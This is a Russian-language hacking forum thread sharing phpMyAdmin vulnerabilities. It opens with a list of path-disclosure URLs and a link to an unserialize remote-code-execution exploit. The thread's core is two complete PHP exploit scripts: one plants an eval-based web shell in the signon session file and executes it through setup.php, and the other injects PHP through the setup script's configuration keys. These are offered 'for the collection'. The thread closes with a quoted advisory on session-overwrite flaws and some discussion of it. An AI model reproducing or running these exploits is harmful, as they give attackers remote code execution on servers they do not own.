Уязвимости phpMyAdmin

[Pashkela]

phpMyAdmin 3.2.2.1

PATH DISCLOSURE:

отсутствует код:

PHP код:

...
if (! defined('PHPMYADMIN')) {
    exit;
}
... 


http://[host]/[path_to_phpmyadmin]/libraries/common.inc.php
http://[host]/[path_to_phpmyadmin]/libraries/display_tbl.lib.php
http://[host]/[path_to_phpmyadmin]/libraries/Error.class.php
http://[host]/[path_to_phpmyadmin]/libraries/Error_Handler.class.php
http://[host]/[path_to_phpmyadmin]/libraries/List_Database.class.php
http://[host]/[path_to_phpmyadmin]/libraries/PMA.php
http://[host]/[path_to_phpmyadmin]/libraries/Theme_Manager.class.php
http://[host]/[path_to_phpmyadmin]/libraries/engines/bdb.lib.php
http://[host]/[path_to_phpmyadmin]/libraries/engines/berkeleydb.lib.php
http://[host]/[path_to_phpmyadmin]/libraries/engines/binlog.lib.php
http://[host]/[path_to_phpmyadmin]/libraries/engines/innobase.lib.php
http://[host]/[path_to_phpmyadmin]/libraries/engines/innodb.lib.php
http://[host]/[path_to_phpmyadmin]/libraries/engines/memory.lib.php
http://[host]/[path_to_phpmyadmin]/libraries/engines/merge.lib.php
http://[host]/[path_to_phpmyadmin]/libraries/engines/mrg_myisam.lib.php
http://[host]/[path_to_phpmyadmin]/libraries/engines/myisam.lib.php
http://[host]/[path_to_phpmyadmin]/libraries/engines/ndbcluster.lib.php
http://[host]/[path_to_phpmyadmin]/libraries/engines/ndbcluster.lib.php
http://[host]/[path_to_phpmyadmin]/libraries/engines/pbxt.lib.php
http://[host]/[path_to_phpmyadmin]/setup/lib/common.inc.php
http://[host]/[path_to_phpmyadmin]/setup/lib/FormDisplay.class.php

PS: прогнал все файлы

[Pr0xor]

Не забывает про эту багу
http://snipper.ru/view/12/phpmyadmin-2119-unserialize-arbitrary-php-code-execution-exploit/

Которая работает на самом деле для всех пма 2.8.x - 2.11.9.x, где есть доступ к скрипту /scripts/setup.php
Причем данную уязвимость можно использовать и когде на сервере пхп 4.

[nobody]

от S00pY:
http://ghkandt.com/phpinfo.php
allow_url_fopen off

[}{оттабыч]

Сообщение от Pr0xor

Не забывает про эту багу
http://snipper.ru/view/12/phpmyadmin-2119-unserialize-arbitrary-php-code-execution-exploit/

Которая работает на самом деле для всех пма 2.8.x - 2.11.9.x, где есть доступ к скрипту /scripts/setup.php
Причем данную уязвимость можно использовать и когде на сервере пхп 4.

Если на сервере SSL только, то не прокатит.

Ишем:

$fp = fsockopen($site, 80, $errno, $errstr, 30);

Заменяем на:

$fp = fsockopen("ssl://".$site, 443, $errno, $errstr, 30);

hostname
If you have compiled in OpenSSL support, you may prefix the hostname with either ssl:// or tls:// to use an SSL or TLS client connection over TCP/IP to connect to the remote host.

[asddas]

Тайну раскрыли My version:
Решил пару случаев с версиями 2.10.0 и выше при allow_url_fopen Off. Можно инжектить пхпкод в сессию, т.к. c этими версиями идёт скрипт /scripts/signon.php

auth_type signon is a feature to allow phpMyAdmin to integrate with Single Sign-on (SSO) systems. Administrators can configure their phpMyAdmin installations to get a MySQL username and password from an existing SSO session, allowing the user sign in once to a control panel, for example, and then switching between applications such as phpMyAdmin without the need to log in again.

PHP код:

/* Was data posted? */
if (isset($_POST['user'])) {
    /* Need to have cookie visible from parent directory */
    session_set_cookie_params(0, '/', '', 0);
    /* Create signon session */
    $session_name = 'SignonSession';
    session_name($session_name);
    session_start();
    /* Store there credentials */
    $_SESSION['PMA_single_signon_user'] = $_POST['user'];
    $_SESSION['PMA_single_signon_password'] = $_POST['password'];
    $_SESSION['PMA_single_signon_host'] = $_POST['host']; 


Exploit

PHP код:

<?php
set_time_limit(0);

 function getData($url,$post,$nocook = '')
  {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_USERAGENT,    "Googlebot/2.1 (+http://www.google.com/bot.html)");
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,      2);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,     FALSE);
    curl_setopt($ch, CURLOPT_TIMEOUT,    600);
    if(empty($nocook)){
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cook.txt');
    curl_setopt($ch, CURLOPT_COOKIEJAR,  'cook.txt');
    }
    curl_setopt($ch, CURLOPT_POST,        1);
    curl_setopt($ch, CURLOPT_POSTFIELDS,        $post);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER,    1);
    curl_setopt($ch, CURLOPT_NOBODY,             0); 
    $res = curl_exec($ch);
        return $res;
  }

    
    $url = $_POST['url'];
    $shell = '<?php @eval(stripslashes($_REQUEST[c])); @die($_REQUEST[m]); ?>';
    $die_text = 'Injected';
    
    $sess_path = array(                        '/tmp/',
                                    '/var/tmp/',
                                    '/var/lib/php/',
                                    '/var/lib/php4/',
                                    '/var/lib/php5/',
                                    '/var/lib/php/session/',
                                    '/var/lib/php4/session/',
                                    '/var/lib/php5/session/',
                                    '/shared/sessions',
                                    '/var/php_sessions/',
                                    '/var/sessions/',
                                    '/tmp/php_sessions/',
                                    '/tmp/sessions/',
                                    '../../../tmp/',
                                    '../../../../tmp/',                                    
                                    '../../../../../tmp/',
                                    '../../../../../../tmp/',
                                    '../../../../../../../tmp/',
                                    '../../../temp/',
                                    '../../../../temp/',
                                    '../../../../../temp/',
                                    '../../../../../../temp/',
                                    '../../../../../../../temp/',
                                    '../../../sessions/',
                                    '../../../../sessions/',
                                    '../../../../../sessions/',
                                    '../../../../../../sessions/',
                                    '../../../../../../../sessions/',
                                    '../../../phptmp/',
                                    '../../../../phptmp/',
                                    '../../../../../phptmp/',
                                    '../../../../../../phptmp/',
                                    '../../../../../../../phptmp/');

    
        echo '<form action="" method="POST">
        URL:
        <br>
        <input  name="url" value="'.($_POST['url'] ? $_POST['url'] : 'http://localhost/pma/scripts/setup.php').'" size=50><br><br>
        Post:
        <br>
        <input  name="post" value="'.($_POST['post'] ? $_POST['post'] : 'phpinfo();').'" size=50><br><br>
        <input type="submit" value="Go">
        </form>';
    

    if(!empty($url)){

    $signon_url = str_replace('setup.php','signon.php',$url);
    
    $signon_page = getData($signon_url,'user='.$shell,'1');
    preg_match('/SignonSession=(.*); path=\//U',$signon_page,$signon_array);
    $signon = $signon_array[1];

    if(empty($signon)){
    die('SignonSession not found');
    }
    
    $token_page = getData($url,'');
    preg_match('/name="token" value="([a-f0-9]{32})"/is',$token_page,$token_array);
    $token = $token_array[1];
    
    if(empty($token)){
    die('Token not found');
    }
    

    foreach($sess_path as $s){
    
    $res = getData($url,'m='.$die_text.'&c='.$_POST['post'].'&action=lay_navigation&eoltype=unix&token='.$token.'&configuration='.'a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:'.strlen($s.'sess_'.$signon).':"'.$s.'sess_'.$signon.'";}}');
    
    if(eregi($die_text,$res)){
            die($res);
            }
        }
    
}

?>

[SeNaP]

Понадобился сплоинт под 2.11.10

The configuration setup script (aka scripts/setup.php) in phpMyAdmin 2.11.x before 2.11.10.1 does not properly restrict key names in its output file, which allows remote attackers to execute arbitrary PHP code via a crafted POST request.

PHP код:

<?php
set_time_limit(0); 

 // this is an exploit code for phpMyAdmin 2.11.10

$target_url = "http://site.com/phpmyadmin/scripts/setup.php";
$token = null;

// request 1
$res = get_response();

// request 2 (add server)
$res = get_response('POST', "token=$token&action=addserver");

// request 3 (save to session)
$res = get_response('POST', "token=$token&action=addserver_real&host=localhost&connect_type=tcp&extension=mysql&auth_type=config&user=root&password=1&submit_save=Add&AllowDeny_order=1&AllowDeny[a][b]['.phpinfo().']=1");

// request 4 (save to file)
$res = get_response('POST', "token=$token&action=save");

// request 5 (load file)
$res = get_response('POST', "token=$token&action=load");
var_dump($res);


function get_response($method='GET', $body=null) {
    global $target_url, $token;
    static $ch = null;

    if ($ch === null) $ch = curl_init();

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_URL, $target_url);

    if ($method == 'POST') {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
    }

    curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookie.txt');
    curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookie.txt');

    $res = curl_exec($ch);
    $token = get_token($res);

    return $res;
}

function get_token($s) {
    if (preg_match('#name="token" value="(.*?)"#', $s, $m)) {
        return $m[1];
    }
}


?>

для коллекции

[SynQ]

Вроде в последней 3.4 есть баги, оставлю здесь, может кому-нибудь будет интересно поискать их пока нет новой версии.

Vuln 1:
Any variable in the super global $_SESSION array can be overwritten or
created with an arbitrate value.

Vuln 2:
A (common) misconfiguration of phpMyAdmin allows content from the $_SESSION
array can be written to a .php-file.
Combined with Vuln 1 this becomes a conditional remote code execution.

Vuln 3:
Content from the $_SESSION array are (post authentication) used as input to
a function that can execute PHP code.
Under the current circumstances a previously unknown null byte string
truncation in this function is used.
I have only been able to reproduce this string truncation on PHP 5.2.13
running on Windows 7 and I've failed to reproduce it on PHP 5.2.13 running
on OpenBSD 4.7 and PHP 5.2.17 running on Linux 2.6.18. I do lack
the necessary C++ debugging skills to find out why this only works on my
windows box.
Combined with Vuln 1 this becomes an authenticated remote code execution.

Vuln 4:
Under a certain configuration an authenticated attacker can include a local
file and interpret it's content as PHP.
By modifying values in the $_SESSION array a cache holding the required
configuration option can be temporarily altered during run time.
If combined with Vuln 1 all configurations are vulnerable to this
authenticated local file inclusion.


Vuln 2 & 3 does not rely on Vuln 1 since the $_SESSION array could also be
modified by a local attacker trying to elevate his/hers privileges in an
improperly configured shared environment.
Do I need 4 CVEs?

Regards
/Mango - ha.xxor.se

[Raz0r]

Судя по вот этому посту в блоге автора http://ha.xxor.se/2011/06/null-byte-injection-in-pregreplace.html, в третьей уязвимости данные из $_SESSION попадают в 1й и 2ой параметры preg_replace, что позволяет выполнить php-код, используя null byte после модификатора 'e' (windows only).
Вообще самые интересные уязвимости - это первая и вторая, так как остальные post auth. Осталось найти, как писать произвольные данные в $_SESSION

[BlackFan]

http://www.zdnet.com/blog/security/h...hpmyadmin/8954
Вот подробнее про вышеупомянутые баги

[python-ptrace]

не совсем верное адвизори
баг не в функции Swekey_login, а чуть ниже - коммит именно в перезаписи глобальных переменных в parse_str